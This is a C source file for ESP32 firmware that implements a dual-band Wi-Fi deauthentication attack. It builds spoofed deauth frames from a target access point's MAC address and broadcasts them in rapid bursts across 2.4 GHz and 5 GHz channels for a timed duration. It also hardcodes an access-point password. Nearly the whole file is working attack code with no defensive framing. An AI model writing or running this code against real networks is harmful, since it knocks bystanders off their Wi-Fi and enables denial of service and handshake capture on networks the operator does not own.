#include "deauth_engine.h"
#include "esp_wifi.h"
#include "esp_log.h"
#include "esp_timer.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include <string.h>

static const char *TAG = "deauth_engine";

// Deauth frame structure
typedef struct {
    uint8_t frame_ctrl[2];
    uint8_t duration[2];
    uint8_t da[6];
    uint8_t sa[6];
    uint8_t bssid[6];
    uint8_t seq[2];
    uint8_t reason[2];
} __attribute__((packed)) deauth_frame_simple_t;

// Global state
static volatile bool attack_running = false;
static deauth_target_t target_24ghz = {0};
static deauth_target_t target_5ghz = {0};
static uint32_t attack_duration = 0;
static uint32_t attack_start_time = 0;
static TaskHandle_t attack_task_handle = NULL;
static SemaphoreHandle_t attack_mutex = NULL;

// Get current time in seconds
static uint32_t get_time_sec(void) {
    return (uint32_t)(esp_timer_get_time() / 1000000ULL);
}

// Fast deauth send
static inline void send_deauth_fast(uint8_t *ap_mac, uint16_t reason) {
    static uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
    
    deauth_frame_simple_t frame;
    
    frame.frame_ctrl[0] = 0xC0;
    frame.frame_ctrl[1] = 0x00;
    frame.duration[0] = 0x00;
    frame.duration[1] = 0x00;
    
    memcpy(frame.da, broadcast, 6);
    memcpy(frame.sa, ap_mac, 6);
    memcpy(frame.bssid, ap_mac, 6);
    
    frame.seq[0] = 0x00;
    frame.seq[1] = 0x00;
    frame.reason[0] = reason & 0xFF;
    frame.reason[1] = (reason >> 8) & 0xFF;
    
    esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false);
}

// Aggressive deauth burst for one target
static uint32_t send_deauth_burst(deauth_target_t *target) {
    if (!target->active) return 0;
    
    static uint16_t reasons[] = {0x0001, 0x0003, 0x0006, 0x0007, 0x0008};
    uint32_t sent = 0;
    
    // Set channel
    esp_wifi_set_channel(target->channel, WIFI_SECOND_CHAN_NONE);
    
    // Send burst of 10 frames with different reason codes
    for (int i = 0; i < 10; i++) {
        send_deauth_fast(target->bssid, reasons[i % 5]);
        sent++;
    }
    
    return sent;
}

// Restore AP Mode
static void restore_ap_mode(void) {
    ESP_LOGI(TAG, "Restoring AP mode...");
    
    wifi_config_t ap_config = {
        .ap = {
            .ssid = "ESP32-C5-Toolkit",
            .ssid_len = strlen("ESP32-C5-Toolkit"),
            .password = "h4ck3rm4n",
            .channel = 1,
            .max_connection = 4,
            .authmode = WIFI_AUTH_WPA2_PSK,
            .pmf_cfg = {.required = false},
        },
    };

    esp_wifi_set_mode(WIFI_MODE_APSTA);
    esp_wifi_set_config(WIFI_IF_AP, &ap_config);
}

// Dual-Band Attack Task
static void dual_band_attack_task(void *pvParameters) {
    ESP_LOGI(TAG, "Dual-band deauth attack started");
    
    if (target_24ghz.active) {
        ESP_LOGI(TAG, "2.4GHz Target: %s | CH: %d", target_24ghz.ssid, target_24ghz.channel);
    }
    
    if (target_5ghz.active) {
        ESP_LOGI(TAG, "5GHz Target: %s | CH: %d", target_5ghz.ssid, target_5ghz.channel);
    }
    
    ESP_LOGI(TAG, "Duration: %lu seconds", attack_duration);
    
    // Switch to STA only mode
    ESP_LOGI(TAG, "Switching to STA mode (AP disabled)...");
    esp_wifi_set_mode(WIFI_MODE_STA);
    vTaskDelay(pdMS_TO_TICKS(500));
    
    attack_start_time = get_time_sec();
    target_24ghz.packets_sent = 0;
    target_5ghz.packets_sent = 0;
    uint32_t last_log_time = 0;
    uint32_t cycle_count = 0;
    
    ESP_LOGI(TAG, "Attack started - rapid band switching");
    
    // MAIN ATTACK LOOP - Fast switching between bands
    while (attack_running) {
        uint32_t elapsed = get_time_sec() - attack_start_time;
        
        // Check duration
        if (elapsed >= attack_duration) {
            ESP_LOGI(TAG, "Attack duration expired");
            break;
        }
        
        // Attack 2.4GHz band (10 packets)
        if (target_24ghz.active) {
            uint32_t sent = send_deauth_burst(&target_24ghz);
            target_24ghz.packets_sent += sent;
        }
        
        // Tiny delay for channel switch to settle
        vTaskDelay(pdMS_TO_TICKS(5));
        
        // Attack 5GHz band (10 packets)
        if (target_5ghz.active) {
            uint32_t sent = send_deauth_burst(&target_5ghz);
            target_5ghz.packets_sent += sent;
        }
        
        // Minimal delay before next cycle
        vTaskDelay(pdMS_TO_TICKS(5));
        
        cycle_count++;
        
        // Log every 2 seconds
        if (elapsed - last_log_time >= 2) {
            last_log_time = elapsed;
            uint32_t remaining = attack_duration - elapsed;
            uint32_t total_packets = target_24ghz.packets_sent + target_5ghz.packets_sent;
            float total_pps = (float)total_packets / (float)(elapsed > 0 ? elapsed : 1);
            
            ESP_LOGI(TAG, "[%2lu/%2lu sec] Total: %6lu pkt | PPS: %4.0f | Remaining: %2lu sec",
                     elapsed, attack_duration, total_packets, total_pps, remaining);
        }
    }
    
    ESP_LOGI(TAG, "Dual-band attack completed");
    
    uint32_t total_time = get_time_sec() - attack_start_time;
    uint32_t total_packets = target_24ghz.packets_sent + target_5ghz.packets_sent;
    
    ESP_LOGI(TAG, "Statistics: Total packets: %lu, Total time: %lu seconds", total_packets, total_time);
    
    attack_running = false;
    
    // Restore AP mode
    restore_ap_mode();
    
    ESP_LOGI(TAG, "Ready for next attack");
    
    attack_task_handle = NULL;
    vTaskDelete(NULL);
}

// Start Dual-Band Attack
bool deauth_start_attack(deauth_target_t *target_24ghz_param, deauth_target_t *target_5ghz_param, uint32_t duration) {
    if (attack_mutex == NULL) {
        attack_mutex = xSemaphoreCreateMutex();
        if (attack_mutex == NULL) {
            ESP_LOGE(TAG, "Failed to create attack mutex");
            return false;
        }
    }
    
    if (xSemaphoreTake(attack_mutex, portMAX_DELAY) != pdTRUE) {
        return false;
    }
    
    if (attack_running) {
        ESP_LOGW(TAG, "Attack already running");
        xSemaphoreGive(attack_mutex);
        return false;
    }
    
    // Reset targets
    memset(&target_24ghz, 0, sizeof(target_24ghz));
    memset(&target_5ghz, 0, sizeof(target_5ghz));
    
    // Copy target data
    if (target_24ghz_param && target_24ghz_param->active) {
        memcpy(&target_24ghz, target_24ghz_param, sizeof(target_24ghz));
    }
    
    if (target_5ghz_param && target_5ghz_param->active) {
        memcpy(&target_5ghz, target_5ghz_param, sizeof(target_5ghz));
    }
    
    if (!target_24ghz.active && !target_5ghz.active) {
        ESP_LOGW(TAG, "No targets selected");
        xSemaphoreGive(attack_mutex);
        return false;
    }
    
    attack_duration = duration;
    attack_running = true;
    
    BaseType_t ret = xTaskCreate(dual_band_attack_task, "dual_attack", 8192, NULL, 5, &attack_task_handle);
    if (ret != pdPASS) {
        ESP_LOGE(TAG, "Failed to create attack task");
        attack_running = false;
        xSemaphoreGive(attack_mutex);
        return false;
    }
    
    xSemaphoreGive(attack_mutex);
    return true;
}

// Stop attack
bool deauth_stop_attack(void) {
    if (attack_mutex == NULL) {
        return false;
    }
    
    if (xSemaphoreTake(attack_mutex, portMAX_DELAY) != pdTRUE) {
        return false;
    }
    
    if (!attack_running) {
        xSemaphoreGive(attack_mutex);
        return false;
    }
    
    // Signal the attack to stop
    attack_running = false;
    
    // Get task handle while holding mutex (prevents race condition)
    TaskHandle_t task_to_delete = attack_task_handle;
    attack_task_handle = NULL;  // Clear handle while mutex is held
    
    // Release mutex before waiting for task to finish
    // (task needs mutex to clean up properly)
    xSemaphoreGive(attack_mutex);
    
    // Wait for task to finish with timeout
    int wait_count = 0;
    while (task_to_delete != NULL && wait_count < 50) {
        // Check if task still exists
        eTaskState task_state = eTaskGetState(task_to_delete);
        if (task_state == eDeleted || task_state == eInvalid) {
            task_to_delete = NULL;
            break;
        }
        vTaskDelay(pdMS_TO_TICKS(100));
        wait_count++;
    }
    
    if (task_to_delete != NULL) {
        ESP_LOGW(TAG, "Attack task didn't terminate cleanly, forcing delete");
        // Suspend before deletion for safety
        vTaskSuspend(task_to_delete);
        vTaskDelay(pdMS_TO_TICKS(10));
        vTaskDelete(task_to_delete);
        restore_ap_mode();
    }
    
    return true;
}

// Check if attack is running
bool deauth_is_running(void) {
    return attack_running;
}

// Get statistics
void deauth_get_stats(uint32_t *total_packets, uint32_t *packets_24ghz, uint32_t *packets_5ghz, uint32_t *elapsed_time) {
    if (total_packets) {
        *total_packets = target_24ghz.packets_sent + target_5ghz.packets_sent;
    }
    if (packets_24ghz) {
        *packets_24ghz = target_24ghz.packets_sent;
    }
    if (packets_5ghz) {
        *packets_5ghz = target_5ghz.packets_sent;
    }
    if (elapsed_time && attack_running) {
        *elapsed_time = get_time_sec() - attack_start_time;
    } else if (elapsed_time) {
        *elapsed_time = 0;
    }
}